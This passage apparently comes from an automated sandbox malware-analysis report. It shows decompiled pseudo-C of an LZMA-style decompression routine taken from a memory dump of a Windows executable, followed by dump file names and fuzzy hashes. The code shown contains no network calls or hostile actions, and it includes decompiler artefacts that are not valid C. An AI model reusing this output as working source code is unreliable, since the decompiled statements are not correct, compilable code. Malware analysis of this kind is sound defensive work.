							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							goto L0;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							goto L89;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							L37:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xd;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t122 = __ebp - 0x70;
							 *_t122 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t122;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L39:
							__eax =  *(__ebp - 0x40);
							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
								goto L48;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L54;
							}
							L41:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L39;
							} else {
								goto L37;
							}
						case 0xe:
							L46:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xe;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t156 = __ebp - 0x70;
							 *_t156 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t156;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							while(1) {
								L48:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax =  *(__ebp - 0x58);
								__edx = __ebx + __ebx;
								__ecx =  *(__ebp - 0x10);
								__esi = __edx + __eax;
								__ecx =  *(__ebp - 0x10) >> 0xb;
								__ax =  *__esi;
								 *(__ebp - 0x54) = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
								__eflags =  *(__ebp - 0xc) - __ecx;
								if( *(__ebp - 0xc) >= __ecx) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
									__cx = __ax;
									_t170 = __edx + 1; // 0x1
									__ebx = _t170;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									 *(__ebp - 0x10) = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0x10) >= 0x1000000) {
									continue;
								} else {
									goto L46;
								}
							}
							L54:
							_t173 = __ebp - 0x34;
							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
							__eflags =  *_t173;
							goto L55;
						case 0xf:
							L58:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xf;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t203 = __ebp - 0x70;
							 *_t203 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t203;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L60:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L55:
								__al =  *(__ebp - 0x44);
								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
								goto L56;
							}
							L61:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t217 = __edx + 1; // 0x1
								__ebx = _t217;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L60;
							} else {
								goto L58;
							}
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							goto L69;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							L56:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1a;
								goto L170;
							}
							__ecx =  *(__ebp - 0x68);
							__al =  *(__ebp - 0x5c);
							__edx =  *(__ebp - 8);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
							 *( *(__ebp - 0x68)) = __al;
							__ecx =  *(__ebp - 0x14);
							 *(__ecx +  *(__ebp - 8)) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t192 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t192;
							goto L79;
						case 0x1b:
							goto L75;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = _t414;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5c1a6d88fbf3736e083e35a306841f5f7567a3339756a66f66144e6d7487cc4
Instruction ID: c975835c63a62796fcb7e955cfffcd5e326eaa1512836fcadbce1623bdfadb04
Opcode Fuzzy Hash: a5c1a6d88fbf3736e083e35a306841f5f7567a3339756a66f66144e6d7487cc4
Instruction Fuzzy Hash: AF816671D00229CFDF24CFA8C8447AEBBB1FB44305F25816AD856BB281C7789A86DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00405DF9, Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00405DF9(void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v95;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				void _v140;
				void* _v148;
				signed int _t537;
				signed int _t538;
				signed int _t572;

				_t572 = 0x22;
				_v148 = __ecx;
				memcpy( &_v140, __ecx, _t572 << 2);
				if(_v52 == 0xffffffff) {
					return 1;
				}
				while(1) {
					L3:
					_t537 = _v140;
					if(_t537 > 0x1c) {
						break;
					}
					switch( *((intOrPtr*)(_t537 * 4 +  &M0040684B))) {
						case 0:
							__eflags = _v112;
							if(_v112 == 0) {
								goto L173;
							}
							_v112 = _v112 - 1;
							_v116 = _v116 + 1;
							_t537 =  *_v116;
							__eflags = _t537 - 0xe1;
							if(_t537 > 0xe1) {
								goto L174;
							}
							_t542 = _t537 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t576);
							_push(9);
							_pop(_t577);
							_t622 = _t542 / _t576;
							_t544 = _t542 % _t576 & 0x000000ff;
							asm("cdq");
							_t617 = _t544 % _t577 & 0x000000ff;
							_v64 = _t617;
							_v32 = (1 << _t622) - 1;
							_v28 = (1 << _t544 / _t577) - 1;
							_t625 = (0x300 << _t617 + _t622) + 0x736;
							__eflags = 0x600 - _v124;
							if(0x600 == _v124) {
								L12:
								__eflags = _t625;
								if(_t625 == 0) {
									L14:
									_v76 = _v76 & 0x00000000;
									_v68 = _v68 & 0x00000000;
									goto L17;
								} else {
									goto L13;
								}
								do {
									L13:
									_t625 = _t625 - 1;
									__eflags = _t625;
									 *((short*)(_v8 + _t625 * 2)) = 0x400;
								} while (_t625 != 0);
								goto L14;
							}
							__eflags = _v8;
							if(_v8 != 0) {
								GlobalFree(_v8); // executed
							}
							_t537 = GlobalAlloc(0x40, 0x600); // executed
							__eflags = _t537;
							_v8 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								_v124 = 0x600;
								goto L12;
							}
						case 1:
							L15:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 1;
								goto L173;
							}
							_v112 = _v112 - 1;
							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
							_v116 = _v116 + 1;
							_t50 =  &_v76;
							 *_t50 = _v76 + 1;
							__eflags =  *_t50;
							L17:
							__eflags = _v76 - 4;
							if(_v76 < 4) {
								goto L15;
							}
							_t550 = _v68;
							__eflags = _t550 - _v120;
							if(_t550 == _v120) {
								L22:
								_v76 = 5;
								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
								goto L25;
							}
							__eflags = _v12;
							_v120 = _t550;
							if(_v12 != 0) {
								GlobalFree(_v12); // executed
							}
							_t537 = GlobalAlloc(0x40, _v68); // executed
							__eflags = _t537;
							_v12 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								goto L22;
							}
						case 2:
							L26:
							_t557 = _v100 & _v32;
							_v136 = 6;
							_v80 = _t557;
							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
							goto L135;
						case 3:
							L23:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 3;
								goto L173;
							}
							_v112 = _v112 - 1;
							_t72 =  &_v116;
							 *_t72 = _v116 + 1;
							__eflags =  *_t72;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L25:
							_v76 = _v76 - 1;
							__eflags = _v76;
							if(_v76 != 0) {
								goto L23;
							}
							goto L26;
						case 4:
							L136:
							_t559 =  *_t626;
							_t610 = _t559 & 0x0000ffff;
							_t591 = (_v20 >> 0xb) * _t610;
							__eflags = _v16 - _t591;
							if(_v16 >= _t591) {
								_v20 = _v20 - _t591;
								_v16 = _v16 - _t591;
								_v68 = 1;
								_t560 = _t559 - (_t559 >> 5);
								__eflags = _t560;
								 *_t626 = _t560;
							} else {
								_v20 = _t591;
								_v68 = _v68 & 0x00000000;
								 *_t626 = (0x800 - _t610 >> 5) + _t559;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L142;
							} else {
								goto L140;
							}
						case 5:
							L140:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 5;
								goto L173;
							}
							_v20 = _v20 << 8;
							_v112 = _v112 - 1;
							_t464 =  &_v116;
							 *_t464 = _v116 + 1;
							__eflags =  *_t464;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L142:
							_t561 = _v136;
							goto L143;
						case 6:
							__edx = 0;
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v56 = 1;
								_v136 = 7;
								__esi = _v8 + 0x180 + _v60 * 2;
								goto L135;
							}
							__eax = _v96 & 0x000000ff;
							__esi = _v100;
							__cl = 8;
							__cl = 8 - _v64;
							__esi = _v100 & _v28;
							__eax = (_v96 & 0x000000ff) >> 8;
							__ecx = _v64;
							__esi = (_v100 & _v28) << 8;
							__ecx = _v8;
							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
							__eflags = _v60 - 4;
							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							if(_v60 >= 4) {
								__eflags = _v60 - 0xa;
